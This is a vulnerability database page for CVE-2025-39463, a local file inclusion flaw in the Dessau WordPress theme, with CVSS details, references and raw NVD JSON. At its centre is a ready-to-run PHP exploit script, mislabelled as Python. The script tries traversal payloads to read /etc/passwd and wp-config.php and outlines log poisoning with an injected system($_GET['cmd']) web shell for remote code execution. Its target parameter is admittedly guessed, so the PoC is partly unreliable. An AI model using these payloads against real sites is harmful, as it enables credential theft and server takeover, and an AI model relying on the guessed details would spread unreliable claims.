CVE-2025-39463

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Dessau dessau allows PHP Local File Inclusion.This issue affects Dessau: from n/a through < 1.9.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Dessau Theme < 1.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-39463 PoC - Dessau Theme Local File Inclusion
 * Target: Select-Themes Dessau WordPress Theme < 1.9
 * Author: Security Research
 * Description: This PoC demonstrates LFI vulnerability in Dessau theme
 */

$target = 'http://target-site.com';
$vulnerable_param = 'dessau-page'; // Common parameter name

// Test 1: Read system file
$test_paths = array(
    '../../../../../../etc/passwd',
    '../../../../../../wp-config.php',
    '../../../../../../../../etc/passwd',
    '....//....//....//....//....//etc/passwd'
);

foreach ($test_paths as $path) {
    $url = $target . '/?' . $vulnerable_param . '=' . urlencode($path);
    echo "[*] Testing: $url\n";
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, 'root:') !== false) {
        echo "[+] VULNERABLE! Found /etc/passwd content:\n";
        echo $response;
        break;
    }
}

// Test 2: Log poisoning for RCE (if LFI confirmed)
// 1. Inject PHP code into access log
// curl 'http://target-site.com/<?php system($_GET["cmd"]); ?>' 
// 2. Include the log file
// ?dessau-page=../../../../../../var/log/apache2/access.log&cmd=id
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-39463
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-39463
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-39463/
[4] VulDB https://vuldb.com/cve/CVE-2025-39463
[5] https://patchstack.com/database/Wordpress/Theme/dessau/vulnerability/wordpress-dessau-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-39463", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:15:50.447", "lastModified": "2026-04-27T19:16:13.033", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Select-Themes Dessau dessau allows PHP Local File Inclusion.This issue affects Dessau: from n/a through < 1.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/dessau/vulnerability/wordpress-dessau-theme-1-9-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}